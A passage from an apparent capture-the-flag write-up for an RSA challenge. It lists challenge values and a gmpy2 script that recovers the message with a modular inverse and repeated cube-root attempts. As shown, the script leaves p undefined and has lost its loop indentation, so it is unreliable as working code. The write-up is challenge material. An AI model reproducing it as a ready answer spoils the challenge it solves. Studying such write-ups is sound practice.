q=120848273460784230746197749214740170558670241437030497317956826606952430354830550737450520592481405802317202852411775956584677841602475259120706429378240071206662182089399302414435162197602907213282222144680788273948123482886712835590321726087823477518087588076504167863011019333002124841000448268076303735731
e=33
c=10407733127291995335613764691145477155502676597183852092212444772475748406250517097288411248334115120781386833588013995106957807313657632637086223225958539244315092039575434338289689184523710991223212333496000621300008178955253701172159259970353872359828291763446333588873982621853358272632447440961028670921631505593309092190417674648927653583956106734654954561031328286272044755552317084498103486458373580383410475085969677647030080606373264155592552338785789990114607084241499363324045488462563945268471178702696791804080490936763759252660049728533344304874474003893472238560682850602644793844258072019357796047919


n = p*q

d = gmpy2.invert(11, (p - 1) * (q - 1))
c3 = pow(c, d, n)
print(c3)
i = 0
while True:
i += 1
m, flag = gmpy2.iroot(c3, 3)
print(i)
if flag:
print(hex(m))
exit()
c3 = c3 + n

2022强国杯技术技能大赛初赛wp
https://www.dr0n.top/posts/fc877f48/
作者
dr0n
发布于
2022年7月17日
更新于
2024年3月21日
许可协议